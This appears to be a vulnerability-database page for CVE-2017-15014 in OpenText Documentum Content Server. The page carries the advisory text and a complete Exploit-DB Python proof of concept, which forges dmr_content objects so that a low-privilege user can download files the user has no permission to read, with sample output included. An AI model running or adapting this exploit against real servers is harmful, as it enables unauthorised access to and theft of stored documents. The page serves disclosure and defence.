CVE-2017-15014

medium
Published 2017-10-13 ยท Modified 2026-05-13
CVSS v3
4.3
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
5.3

Description

OpenText Documentum Content Server (formerly EMC Documentum Content Server) through 7.3 contains the following design gap, which allows authenticated users to download arbitrary content files regardless of the attacker's repository permissions: When an authenticated user uploads content to the repository, he performs the following steps: (1) calls the START_PUSH RPC-command; (2) uploads the file to the content server; (3) calls the END_PUSH_V2 RPC-command (here, Content Server returns a DATA_TICKET integer, intended to identify the location of the uploaded file on the Content Server filesystem); (4) creates a dmr_content object in the repository, which has a value of data_ticket equal to the value of DATA_TICKET returned at the end of END_PUSH_V2 call. As the result of this design, any authenticated user may create his own dmr_content object, pointing to already existing content in the Content Server filesystem.

Predictions

Exploit likelihood
53%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43005 webapps multiple python ยท 6 KB
Andrey B. Panfilov ยท 2017-10-17

OpenText Documentum Content Server - Arbitrary File Download

python exploit Source: Exploit-DB
#!/usr/bin/env python

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to download arbitrary
# content files regardless attacker's repository permissions:
#
# when authenticated user upload content to repository he performs following steps:
# - calls START_PUSH RPC-command
# - uploads file to content server
# - calls END_PUSH_V2 RPC-command, here Content Server returns DATA_TICKET,
#    purposed to identify the location of the uploaded file on Content Server filesystem
# - further user creates dmr_content object in repository, which has value of data_ticket equal
#    to the value of DATA_TICKET returned at the end of END_PUSH_V2 call
#
# As the result of such design any authenticated user may create his own dmr_content object,
# pointing to already existing content of Content Server filesystem
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15014.py
# usage:
# CVE-2017-15014.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15014.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle
# Trying to find any object with content...
# Querying "inaccessible" dmr_content objects...
# Downloaded 3959/3959 bytes of object 06024be980000133
# Downloaded 11280/11280 bytes of object 06024be980000135
# Downloaded 10004/10004 bytes of object 06024be980000138
# Downloaded 23692/23692 bytes of object 06024be98000017a
# Downloaded 19541/19541 bytes of object 06024be980000180
# Downloaded 1096/1096 bytes of object 06024be980000172
# Downloaded 11776/11776 bytes of object 06024be98000011f
# Downloaded 50176/50176 bytes of object 06024be980000125
# Downloaded 16384/16384 bytes of object 06024be98000012f
# Downloaded 985/985 bytes of object 06024be9800001f5
# Downloaded 191/191 bytes of object 06024be9800001fe
# Downloaded 213/213 bytes of object 06024be980000200
#



import socket
import sys

from dctmpy import NULL_ID

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
    print "usage:\n%s host port user password" % sys.argv[0]


def main():
    if len(sys.argv) != 5:
        usage()
        exit(1)

    (session, docbase) = create_session(*sys.argv[1:5])

    if is_super_user(session):
        print "Current user is a superuser, nothing to do"
        exit(1)

    print "Trying to find any object with content..."
    object_id = session.query(
        "SELECT FOR READ r_object_id "
        "FROM dm_sysobject WHERE r_content_size>0") \
        .next_record()['r_object_id']
    session.apply(None, NULL_ID, "BEGIN_TRANS")
    print "Querying \"inaccessible\" dmr_content objects..."
    for e in session.query(
            "SELECT * FROM dmr_content "
            "WHERE ANY parent_id IS NOT NULLID "
            "AND ANY parent_id NOT IN "
            "(SELECT r_object_id FROM dm_sysobject)"
    ):
        handle = 0
        try:
            content_id = session.next_id(0x06)
            obj = TypedObject(session=session)
            obj.set_string("OBJECT_TYPE", "dmr_content")
            obj.set_bool("IS_NEW_OBJECT", True)
            obj.set_int("i_vstamp", 0)
            obj.set_id("storage_id", e["storage_id"])
            obj.set_id("format", e["format"])
            obj.set_int("data_ticket", e["data_ticket"])
            obj.set_id("parent_id", object_id)
            if not session.save_cont_attrs(content_id, obj):
                print "Failed"
                exit(1)

            handle = session.make_puller(
                NULL_ID, obj["storage_id"], content_id,
                obj["format"], obj["data_ticket"]
            )
            if handle == 0:
                raise RuntimeError("Unable make puller")
            size = 0
            for chunk in session.download(handle):
                size += len(chunk)

            print "Downloaded %d/%d bytes of object %s" % \
                  (size, e['full_content_size'], e['r_object_id'])
        finally:
            if handle > 0:
                try:
                    session.kill_puller(handle)
                except:
                    pass


def create_session(host, port, user, pwd):
    print "Trying to connect to %s:%s as %s ..." % (host, port, user)
    session = None
    try:
        session = DocbaseClient(
            host=host, port=int(port),
            username=user, password=pwd)
    except socket.error, e:
        if e.errno == 54:
            session = DocbaseClient(
                host=host, port=int(port),
                username=user, password=pwd,
                secure=True, ciphers=CIPHERS)
        else:
            raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
          (host, port, docbase, version)
    return (session, docbase)


def is_super_user(session):
    user = session.get_by_qualification("dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
        return True
    group = session.get_by_qualification(
        "dm_group where group_name='dm_superusers' "
        "AND any i_all_users_names=USER")
    if group is not None:
        return True

    return False


if __name__ == '__main__':
    main()

Application impact

VendorProductVersionsFixed
opentextdocumentum_content_server{"endIncluding":"7.3"}

References

CWEs

CWE-269

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.